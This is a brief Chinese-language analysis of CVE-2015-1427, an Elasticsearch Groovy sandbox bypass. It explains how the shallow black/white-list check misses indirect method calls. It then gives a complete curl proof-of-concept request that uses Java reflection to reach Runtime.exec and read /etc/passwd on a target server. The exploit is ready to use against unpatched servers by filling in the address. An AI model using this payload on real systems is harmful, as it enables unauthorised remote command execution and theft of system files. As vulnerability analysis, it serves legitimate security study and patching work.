ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427)
com.elasticsearch.script.groovy.GroovySandboxExpressionChecker 逻辑存在漏洞
从代码中可以看到这个沙盒,只是根据黑白名单,在表达式语义上判断表达式是否合法的,可以说是一个“浅”沙盒,简单来来说,比如沙盒设置不允许调用shell()这个方法,直接调用shell()方法,沙盒在表达式中发现了shell()这个字符串,就会报非法调用,但是如果有一个方法叫poc()这个方法中调用了shell()方法(poc(){shell()}),当调用poc()方法的时候,shell()方法也就被间接调用了沙盒并不会报错。
curl -XPOST 'http://ip:port/_search?pretty' -d '{
"size":1,
"script_fields":{
"lupin":{
"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()",
"lang":"groovy"
}
}
}'
https://www.secpulse.com/archives/5047.html